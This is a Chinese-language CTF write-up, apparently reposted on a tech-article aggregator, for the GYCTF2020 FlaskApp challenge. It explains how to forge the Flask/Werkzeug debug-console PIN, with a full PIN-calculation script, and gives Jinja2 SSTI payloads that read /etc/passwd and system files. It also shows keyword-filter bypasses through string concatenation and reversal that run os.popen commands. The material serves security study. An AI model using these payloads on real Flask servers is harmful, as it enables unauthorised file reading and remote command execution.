IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 系统运维 -> Flask debug 模式生成pin码 + [GYCTF2020]FlaskApp -> 正文阅读

[系统运维]Flask debug 模式生成pin码 + [GYCTF2020]FlaskApp

ssti的payload还是不太会写…

Flask debug 模式生成pin码

计算pin所需要的值为:

1.flask所登录的用户名
2.modname
3.getattr(app, “name”, app.class.name)
4.flask库下app.py的绝对路径
5.当前网络的mac地址的十进制数
6.docker机器id

1.flask所登录的用户名

/etc/passwd 中找到用户名

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].open('/etc/passwd','r').read() }}
{% endif %}
{% endfor %}

也可以

{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}

2.modname

一般为固定值flask.app


3.getattr(app, '__name__', getattr(app.__class__, '__name__'))

一般为固定值Flask


4.getattr(mod, '__file__', None) app.py的绝对路径

flask目录下的一个app.py的绝对路径 从网站报错信息中可以看到

有人说是要加上pyc,我试的不用


5.uuid.getnode() mac地址

当前网络的mac地址的十进制数

读取文件**/sys/class/net/eth0/address** 或者 /sys/class/net/eth33/address eth0为网卡


6.get_machine_id() 机器id

每一个机器都会有自已唯一的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_i,有的系统没有这两个文件。


docker机则读取/proc/self/cgroup,其中第一行的/docker/字符串后面的内容作为机器的id


计算pin脚本

大佬写的脚本

#!/usr/bin/python2.7
#coding:utf-8

from sys import *
import requests
import re
from itertools import chain
import hashlib

def genpin(mac,mid):

    probably_public_bits = [
        'ctf',# username
        'flask.app',# modname
        'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
        '/usr/local/lib/python2.7/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
    ]
    mac = "0x"+mac.replace(":","")
    mac = int(mac,16)
    private_bits = [
        str(mac),# str(uuid.getnode()),  /sys/class/net/eth0/address
        str(mid)# get_machine_id(), /proc/sys/kernel/random/boot_id
    ]

    h = hashlib.md5()
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, str):
            bit = bit.encode('utf-8')
        h.update(bit)
    h.update(b'cookiesalt')

    num = None
    if num is None:
        h.update(b'pinsalt')
        num = ('%09d' % int(h.hexdigest(), 16))[:9]

    rv =None
    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                            for x in range(0, len(num), group_size))
                break
        else:
            rv = num

    return rv
# 02:42:ac:16:00:02  /sys/class/net/eth0/address
# 21e83dfd-206c-4e80-86be-e8d0afc467a1  /proc/sys/kernel/random/boot_id

def getcode(content):
    try:
        return re.findall(r"<pre>([\s\S]*)</pre>",content)[0].split()[0]
    except:
        return ''
def getshell():
    print genpin("02:74:0e:ef:de:c2","0f70e611b2d30ec172763896fc0dd1252a84b8027036d52a8c243e9142af5bea")
    #mac,machine id

if __name__ == '__main__':
    getshell()


wp

1.[GYCTF2020]FlaskApp

是个flask的base64加密解密小程序,有hint:<!-- PIN --->

解密处如果输入不正确会有Flask debug

在这里插入图片描述

/app/app.py 53行的报错可以看到render_template_string造成SSTI

File "/app/app.py", line 53, in decode
 
@app.route('/decode',methods=['POST','GET'])
def decode():
    if request.values.get('text') :
        text = request.values.get("text")
        text_decode = base64.b64decode(text.encode())
        tmp = "结果 : {0}".format(text_decode.decode())
        if waf(tmp) :			//waf是可以读源码得到的
            flash("no no no !!")
            return redirect(url_for('decode'))
        res =  render_template_string(tmp)

需要计算pin码

在这里插入图片描述

执行命令的地方是解密页面,先把payload base64加密,然后解密页面解密的时候会执行


计算pin所需要的值:

用户名:flaskweb

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/etc/passwd','r').read() }}{% endif %}{% endfor %}

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-0eTnl7wI-1631021185414)(Flask debug.assets/image-20210907204017171.png)]

modname一般为固定值flask.appgetattr(app, '__name__', getattr(app.__class__, '__name__'))一般为固定值Flask,flask库下app.py的绝对路径/usr/local/lib/python3.7/site-packages/flask/app.py

mac地址:02:42:ac:10:ae:c9,payload同用户名,读文件/sys/class/net/eth0/address,要转为十进制26617216174201

机器id:0f70e611b2d30ec172763896fc0dd1252a84b8027036d52a8c243e9142af5bea,docker机器id读取/proc/self/cgroup,其中第一行的/docker/字符串后面的内容作为机器的id


脚本计算pin码:

#!/usr/bin/python2.7
#coding:utf-8

from sys import *
import requests
import re
from itertools import chain
import hashlib

def genpin(mac,mid):

    probably_public_bits = [
        'flaskweb', # username
        'flask.app', # modname
        'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
        '/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
    ]
    mac = "0x"+mac.replace(":","")
    mac = int(mac,16)
    private_bits = [
        str(mac), # str(uuid.getnode()),  /sys/class/net/eth0/address
        str(mid) # get_machine_id(), /proc/sys/kernel/random/boot_id
    ]

    h = hashlib.md5()
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, str):
            bit = bit.encode('utf-8')
        h.update(bit)
    h.update(b'cookiesalt')

    num = None
    if num is None:
        h.update(b'pinsalt')
        num = ('%09d' % int(h.hexdigest(), 16))[:9]

    rv =None
    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                            for x in range(0, len(num), group_size))
                break
        else:
            rv = num

    return rv

def getcode(content):
    try:
        return re.findall(r"<pre>([\s\S]*)</pre>",content)[0].split()[0]
    except:
        return ''
def getshell():
    print genpin("02:42:ac:10:ae:c9","0f70e611b2d30ec172763896fc0dd1252a84b8027036d52a8c243e9142af5bea")

if __name__ == '__main__':
    getshell()

得到106-699-279,开启python交互shell控制台


命令执行

import os
os.popen('ls /').read()

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jPykiHMP-1631021185417)(Flask debug.assets/image-20210907211046303.png)]



way2 纯flask命令执行

正常方法可以读源码

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}

得到waf

def waf(str):
    black_list = [&#34;flag&#34;,&#34;os&#34;,&#34;system&#34;,&#34;popen&#34;,&#34;import&#34;,&#34;eval&#34;,&#34;chr&#34;,&#34;request&#34;,
                  &#34;subprocess&#34;,&#34;commands&#34;,&#34;socket&#34;,&#34;hex&#34;,&#34;base64&#34;,&#34;*&#34;,&#34;?&#34;]
    for x in black_list :
        if x in str.lower() :
            return 1

可以看到flag和os被过滤
通过字符窜拼接,查看根目录

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eva'+'l' in b.keys() %}
      {{ b['eva'+'l']('__impor'+'t__'+'("o'+'s")'+'.pope'+'n'+'("ls /").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-HiYvEgN3-1631021185418)(Flask debug.assets/image-20210907211342009.png)]

过滤了flag,有两种绕过方式

第一种:

'txt.galf_eht_si_siht/'[::-1]将字符倒转输出

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-HJX9EfLm-1631021185419)(Flask debug.assets/image-20210907211830286.png)]

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}
{% endif %}
{% endfor %}

第二种

采用字符窜拼接的方法

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eva'+'l' in b.keys() %}
{{ b['eva'+'l']('__impor'+'t__'+'("o'+'s")'+'.pope'+'n'+'("cat /this_is_the_fl'+'ag.txt").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

参考链接:https://www.cnblogs.com/h3zh1/p/12694933.html

  系统运维 最新文章
配置小型公司网络WLAN基本业务(AC通过三层
如何在交付运维过程中建立风险底线意识,提
快速传输大文件,怎么通过网络传大文件给对
从游戏服务端角度分析移动同步(状态同步)
MySQL使用MyCat实现分库分表
如何用DWDM射频光纤技术实现200公里外的站点
国内顺畅下载k8s.gcr.io的镜像
自动化测试appium
ctfshow ssrf
Linux操作系统学习之实用指令(Centos7/8均
上一篇文章      下一篇文章      查看所有文章
加:2021-09-08 11:09:04  更:2021-09-08 11:09:20 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/15 15:13:21-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码